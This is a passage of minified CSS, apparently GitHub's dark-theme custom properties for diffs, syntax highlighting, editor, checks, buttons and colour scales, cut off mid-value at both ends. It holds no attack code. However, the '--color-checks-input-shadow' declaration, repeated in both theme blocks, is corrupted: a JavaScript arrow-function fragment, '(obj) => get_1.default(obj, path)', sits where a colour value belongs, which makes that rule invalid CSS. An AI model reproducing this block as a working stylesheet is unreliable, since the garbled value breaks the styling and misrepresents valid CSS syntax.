#c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: 